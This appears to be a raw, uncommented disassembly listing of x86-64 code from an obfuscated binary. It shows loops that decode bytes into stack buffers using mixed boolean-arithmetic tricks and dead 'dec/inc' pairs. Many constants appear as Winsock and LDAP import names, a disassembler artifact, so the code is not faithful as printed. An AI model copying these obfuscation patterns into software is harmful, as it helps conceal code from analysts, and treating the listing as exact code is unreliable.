sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x5f
jmp 0x1400b78d0
lea edx, [r11 - 0x28]
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400b81fe
sub r11b, 0x46
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x16
inc r9
dec rbx
inc rbx
jmp 0x1400b78b2
sub r11b, 0x64
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x44
dec rbx
inc rbx
jmp 0x1400b78b2
lea edx, [r11 + 0x7e]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x72
jmp 0x1400b80db
add r11b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r8, r9
jmp 0x1400b8277
add r11b, 0x42
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b8277
lea edx, [r11 + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400b815b
add r11b, 6
movzx eax, r10b
and al, r11b
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x2a
add dl, r11b
jmp 0x1400b8187
sub r11b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x58
movzx eax, byte [rbp + rbx + 0x790]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b78b2
sub r11b, 0x63
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4b
mov byte [rbp + rbx + 0x790], dl
inc rbx
jmp 0x1400b78b2
lea edx, [r11 + 0x7f]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x79
add dl, cl
cmp r9, 0x2a
jb 0x1400b7ce4
lea edx, [r11 - 6]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1400b81fe
lea edx, [r11 + 0x61]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x59
add dl, cl
cmp r8, 9
jae 0x1400b80c6
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x1400b800c
lea edx, [r11 - 0x32]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400b7d08
lea edx, [r11 + 0x43]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x2b
add dl, cl
lea rax, [r8 + r9]
cmp rax, 8
je 0x1400b8107
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1400b7f9c
lea edx, [r11 - 0x6d]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 5
jmp 0x1400b7d45
add r11b, 0x62
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x790]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b78b2
add r11b, 0x44
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b8187
lea edx, [r11 + 0x26]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0xa
add dl, cl
jmp 0x1400b815b
add r11b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x38
jmp 0x1400b8277
sub r11b, 0x16
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x66
add r8, r9
jmp 0x1400b8277
lea edx, [r11 - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400b80db
sub r11b, 0x52
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400b78b2
sub r11b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400b78b2
lea edx, [r11 + 0x72]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x1e
add dl, cl
jmp 0x1400b81fe
lea rax, [r9 + 0x200]
cmp r8, rax
jae 0x1400b7f16
lea edx, [r11 + 0xf]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x69
jmp 0x1400b7d8e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b7f4c
add r11b, 0x76
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x3a
movzx eax, byte [rbp + rbx + 0x790]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b78b2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b7f72
lea edx, [r11 - 0x4e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400b815b
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400b7d90
lea edx, [r11 + 0x66]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400b81fe
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b7fc1
lea edx, [r11 - 0x4f]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x29
add dl, cl
jmp 0x1400b81fe
inc rax
cmp r8, rax
jne 0x1400b7fe3
lea edx, [r11 + 0xb]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x4d
jmp 0x1400b80db
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400b7d47
add r11b, 0x47
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0xf
jmp 0x1400b8277
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400b8042
sub r11b, 0x14
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x74
movzx eax, byte [rbp + rbx + 0x790]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b78b2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b806b
add r11b, 0x46
movzx eax, r10b
and al, r11b
mov ecx, listen
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b8277
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b8097
add r11b, 0x64
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r8, r9
jmp 0x1400b8277
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400b7d0a
sub r11b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
dec rbx
inc rbx
jmp 0x1400b78b2
lea edx, [r11 + 0x18]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x2c
add cl, cl
add dl, cl
add r11b, 0x27
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x11
add r10b, r11b
add r10b, dl
mov byte [rbp + rbx + 0x790], r10b
add r8, r9
jmp 0x1400b8277
lea ecx, [r11 + 0x36]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [rcx - 0x7a]
jmp 0x1400b815b
add r11b, 0x49
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
inc dl
movzx eax, byte [rbp + rbx + 0x790]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b78b2
lea ecx, [r11 + 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x5b
add r11b, 0x45
movzx eax, r10b
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x1d
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x790], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x54]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x4c
add r10b, cl
mov byte [rbp + rbx + 0x790], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x790]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b78b2
sub r11b, 0x2f
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x49
add r8, r9
jmp 0x1400b8277
lea ecx, [r11 + 0x59]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x6f
add r11b, 9
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x3f
add r10b, r11b
mov byte [rbp + rbx + 0x790], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400b78b2
lea ecx, [rbx - 0x1f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x27
dec rbx
inc rbx
jmp 0x1400b78b2
lea ecx, [rbx - 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x7d
add r8, r9
jmp 0x1400b8277
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub r10b, dil
lea edx, [rax + r10]
add dl, 0x4f
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400b78b2
lea rax, [rbx + r12]
and dil, al
add dil, dil
sub r10b, dil
lea edx, [rax + r10]
sub dl, 0x3b
movzx eax, byte [rbp + rbx + 0x790]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b78b2
sub r11b, 0x35
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x73
jmp 0x1400b78b0
sub r11b, 0x53
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x45
jmp 0x1400b78a0
lea rdx, [rbp + 0x14119a4]
jmp 0x1400b9e9c
lea rdx, [rbp + 0xeedfb3]
jmp 0x1400b9e9c
lea rdx, [rbp + 0x790]
jmp 0x1400b9e9c
mov byte [rbp + 0x1f8], gethostname
mov byte [rbp + 0x1f9], 0x3f
mov byte [rbp + 0x1fa], gethostname
mov byte [rbp + 0x1fb], reloc.WS2_32.dll_listen
mov byte [rbp + 0x1fc], 5
mov byte [rbp + 0x1fd], 7
mov byte [rbp + 0x1fe], recv
mov byte [rbp + 0x1ff], Ordinal_217
mov byte [rbp + 0x200], Ordinal_50
mov byte [rbp + 0x201], WSASetLastError
mov byte [rbp + 0x202], WSASetLastError
mov byte [rbp + 0x203], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x204], WSASetLastError
mov byte [rbp + 0x205], WSASetLastError
mov byte [rbp + 0x206], Ordinal_35
mov byte [rbp + 0x207], reloc.WS2_32.dll_send
mov byte [rbp + 0x208], 0xfc
xor eax, eax
movups xmmword [rbp + 0x209], xmm0
movups xmmword [rbp + 0x219], xmm0
mov word [rbp + 0x229], ax
movabs r14, 0x8bd9d4cc6657369e
movabs r15, 0xeaa87b2f9910eb8e
movabs r13, 0xd2f4d196cc627e52
movabs r12, 0xa38d7e653305a3da
movzx r11d, byte [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
cmp rdi, 0x33
jae 0x1400b8ec2
movzx ebx, byte [rbp + rdi + 0x1f8]
mov esi, ebx
cmp r8, rdi
ja 0x1400b8eb9
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400b8432
lea rcx, [rdi + r14]
mov rax, rsi
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rsi
add r11, rcx
sub r11b, 0x52
jmp 0x1400b846c
je 0x1400b8e41
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b8db9
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400b8d87
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b8d63
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400b8d1d
movzx r10d, dil
cmp r9, rdi
ja 0x1400b8eb0
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b849e
lea edx, [r10 - 0xa]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400b84e0
je 0x1400b8d06
inc rax
cmp r8, rax
je 0x1400b8cc7
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b8ca7
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b8c87
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b8c5a
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400b88ec
nop dword [rax]
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400b88d2
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400b88a9
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400b8883
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b8869
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400b8846
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400b882a
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b8810
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400b87f0
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400b87c3
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400b84f0
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x41]
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400b8e90
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400b8e70
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400b8691
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400b8672
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400b8653
lea r8, [r9 + 8]
lea r9, [r8 + 5]
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400b8792
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400b8773
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400b8754
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400b8734
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400b8716
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400b86f0
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400b86cc
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400b86ad
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400b84f0
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x61]
jmp 0x1400b84f0
lea edx, [r10 - 0x36]
movzx eax, dl
and al, bl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400b84e0
lea edx, [r10 - 0x72]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400b8470
add r10b, 0x52
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x3e
jmp 0x1400b8406
lea edx, [r10 - 0x50]
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400b8d36
add r10b, 0x74
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x2c
inc r9
dec rdi
inc rdi
jmp 0x1400b83f2
add r10b, 0x38
movzx eax, bl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
dec rdi
inc rdi
jmp 0x1400b83f2
sub r10b, 0x40
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x40
add r8, r9
jmp 0x1400b8da0
sub r10b, 0x7c
movzx eax, bl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
jmp 0x1400b8da0
lea edx, [r10 + 0x48]
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400b8dd5
add r10b, 0xc
movzx eax, bl
and al, r10b
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x54
add r11b, r10b
jmp 0x1400b8dff
sub r10b, 0x30
movzx eax, bl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0x1f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b83f2
sub r10b, 0x3c
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x5c
movzx eax, byte [rbp + rdi + 0x1f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b83f2
sub r10b, 0x78
movzx eax, r10b
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400b8dff
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x14
jmp 0x1400b8dd5
add r10b, 0x10
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x70
jmp 0x1400b8da0
sub r10b, 0x2c
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
add r8, r9
jmp 0x1400b8da0
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
jmp 0x1400b8cdc
add r10b, 0x5c
movzx eax, r10b
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
dec rdi
inc rdi
jmp 0x1400b83f2
add r10b, 0x20
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400b83f2
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
jmp 0x1400b8d36
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x1400b899e
lea ecx, [r10 - 0x62]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x52
lea rax, [r9 + r8]
cmp rax, 0x61
je 0x1400b8c3e
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x1400b8a2b
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 3
jae 0x1400b8c1d
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400b8b01
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
cmp r9, 0x400
jb 0x1400b8c0d
lea edx, [r10 - 0xc]
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x58]
jmp 0x1400b8d36
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b89d4
sub r10b, 0x14
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x74
movzx eax, byte [rbp + rdi + 0x1f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b83f2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b89fc
lea edx, [r10 + 0x64]
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400b8dd5
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b890e
add r10b, 0x54
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x4c
dec rdi
inc rdi
jmp 0x1400b83f2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b8a4e
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2e
jmp 0x1400b8d36
inc rax
cmp r8, rax
jne 0x1400b8a78
add r10b, 0x5a
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x76
dec rdi
inc rdi
jmp 0x1400b83f2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b8aa4
sub r10b, 0x2e
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
add r8, r9
jmp 0x1400b8da0
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b8ac7
lea ecx, [r10 + 0x4a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 6
jmp 0x1400b8dd5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b8946
sub r10b, 0x3e
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x4e
movzx eax, byte [rbp + rdi + 0x1f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b83f2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b8b3b
sub r10b, 0x28
movzx eax, r10b
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
movzx eax, byte [rbp + rdi + 0x1f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b83f2
inc rax
cmp r8, rax
jne 0x1400b8b63
sub r10b, 0x74
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400b8da0
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b8b86
lea ecx, [r10 + 4]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
jmp 0x1400b8cdc
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b8bb5
add r10b, 0x40
movzx eax, bl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
dec rdi
inc rdi
jmp 0x1400b83f2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b8be2
add r10b, 0x7c
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x64
inc r9
dec rdi
inc rdi
jmp 0x1400b83f2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b8972
lea edx, [r10 - 0x48]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 8
add r11b, dl
jmp 0x1400b8d36
mov byte [rbp + rdi + 0x1f8], r11b
inc rdi
jmp 0x1400b83f2
lea edx, [r10 + 0x30]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x50
add r11b, bl
add r11b, dl
jmp 0x1400b8cdc
lea edx, [r10 + 0x6c]
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400b8dd5
add r10b, 0x12
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x7e
movzx eax, byte [rbp + rdi + 0x1f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b83f2
sub r10b, 0x2a
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400b8dff
add r10b, 0x5e
movzx eax, r10b
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400b8da0
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4a
sub r10b, 0x32
movzx eax, bl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, bl
add cl, r11b
add cl, r10b
mov byte [rbp + rdi + 0x1f8], cl
add r8, r9
jmp 0x1400b8da0
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5e
jmp 0x1400b8d36
movzx r10d, dil
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x16
sub r10b, 0x6e
movzx eax, bl
and al, r10b
mov ecx, 1
sub cl, al
add cl, cl
add cl, bl
add cl, r10b
mov byte [rbp + rdi + 0x1f8], cl
inc r9
dec rdi
inc rdi
jmp 0x1400b83f2
lea edx, [rdi + 0x42]
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x1400b83f2
lea rcx, [rdi + r15]
and sil, cl
mov eax, reloc.WS2_32.dll_ntohs
sub al, sil
lea r11d, [rax + rax]
add r11b, bl
add r11b, cl
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400b83f2
lea rcx, [rdi + r13]
and sil, cl
add sil, sil
movzx r11d, bl
sub r11b, sil
sub r11b, 0x3e
add r11b, cl
movzx r10d, dil
add r10b, 0xa
movzx eax, bl
and al, r10b
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x46
add cl, r10b
movzx eax, cl
mov byte [rbp + rdi + 0x1f8], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x58]
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x1f8], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x1f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b83f2
lea rcx, [rdi + r12]
and sil, cl
mov eax, 5
sub al, sil
lea r11d, [rax + rax]
add r11b, bl
add r11b, cl
movzx eax, byte [rbp + rdi + 0x1f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b83f2
add r10b, 0x16
movzx eax, bl
and al, r10b
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
jmp 0x1400b83f0
sub r10b, 0x26
movzx eax, bl
and al, r10b
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
jmp 0x1400b83e0
lea rsi, [rbp + 0x158b420]
jmp 0x1400b8ec9
lea rsi, [rbp + 0xefeabe]
jmp 0x1400b8ec9
lea rsi, [rbp + 0x1f8]
mov byte [rbp + 0x850], 7
mov byte [rbp + 0x851], 0xf0
mov byte [rbp + 0x852], Ordinal_79
mov byte [rbp + 0x853], 0xe0
mov byte [rbp + 0x854], 0xfb
mov byte [rbp + 0x855], 0xfb
mov byte [rbp + 0x856], 0x3d
mov byte [rbp + 0x857], 0xeb
mov byte [rbp + 0x858], 0x44
mov byte [rbp + 0x859], 0xe9
mov byte [rbp + 0x85a], 0xff
mov byte [rbp + 0x85b], 0xf7
mov byte [rbp + 0x85c], 0xf4
mov byte [rbp + 0x85d], 0x41
mov byte [rbp + 0x85e], reloc.WS2_32.dll_socket
mov byte [rbp + 0x85f], recv
mov byte [rbp + 0x860], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x861], 0xbd
mov byte [rbp + 0x862], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x863], 3
mov byte [rbp + 0x864], 0xf9
mov byte [rbp + 0x865], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x866], 0xb6
mov byte [rbp + 0x867], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x868], 7
mov byte [rbp + 0x869], 0xb5
mov byte [rbp + 0x86a], recv
mov byte [rbp + 0x86b], 0
